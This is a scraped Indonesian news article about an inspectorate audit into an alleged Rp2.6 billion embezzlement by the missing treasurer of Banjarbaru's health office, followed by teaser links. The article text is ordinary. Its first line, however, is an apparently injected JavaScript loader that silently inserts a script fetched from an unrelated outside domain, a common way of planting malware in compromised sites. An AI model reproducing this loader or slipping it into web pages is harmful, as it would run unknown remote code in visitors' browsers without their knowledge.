(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kasus dugaan penggelapan dana Rp2,6 miliar oleh Bendahara Dinas Kesehatan (Dinkes) Kota Banjarbaru bergulir di Inspektorat Kota Banjarbaru.
Diperintahkan langsung oleh Wali Kota Banjarbaru, Erna Lisa Halaby, Inspektorat melakukan penyelidikan awal secara menyeluruh dan transparan.
Pelaksana Tugas (Plt) Inspektur Banjarbaru, Rahmat Taufik mengatakan, pihaknya masih belum membawa laporan ini ke kepolisian.
Sebab saat ini katanya, proses audit masih berjalan dan belum dapat dipublikasikan ke publik.
Baca juga: Upaya Mendorong UMKM Lokal Banjarmasin Naik Kelas
“Sejauh ini kami fokus pada audit keuangannya dulu untuk memperoleh besarnya nilai yang diduga digelapkan. Saat ini pemeriksaan lagi berproses,” ujar Inspektur Banjarbaru, Rahmat Taufik saat dikonfirmasi melalui Whatsapp, Selasa (18/11/2025) siang.
Taufik menjelaskan bahwa untuk mendapatkan informasi lebih dalam, ada beberapa pihak yang dimintai keterangan.
Plt Inspektur Banjarbaru, Rahmat Taufik. Foto: wanda
Dia membenarkan jika Bendahara yang sebelumnya dilaporkan menghilang sejak Senin (3/11/2025) lalu, hingga kini keberadaannya belum diketahui.
Baca juga: Polisi Ringkus Pengoplos Miras Bermerek di Banjarmasin
“Kita sudah memeriksa beberapa pihak terkait namun memang bersangkutan saat ini masih belum diketahui keberadaannya,” jelasnya.
Di sisi lain dari upaya penggalian informasi yang dilakukan Inspektorat hingga hari ini belum bisa memastikan anggaran apa saja yang diduga digelapkan terduga pelaku.
“Karena masih dalam proses pemeriksaan maka kita mengharapkan uang yang diduga digelapkan harus segera dikembalikan, untuk proses hukumnya tetap kita jalankan,” imbuh dia.
Inspektur beserta jajaran mengaku berkomitmen melaksanakan tugas pemeriksaan kasus dugaan penggelapan dana ini secepatnya.
“Kita komitmen melakukan tugas pemeriksaan ini secepatnya karena kejelasan permasalahan yang terjadi sangat diperlukan Wali Kota Banjarbaru untuk mengambil sikap tegas,” tandas Taufik. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.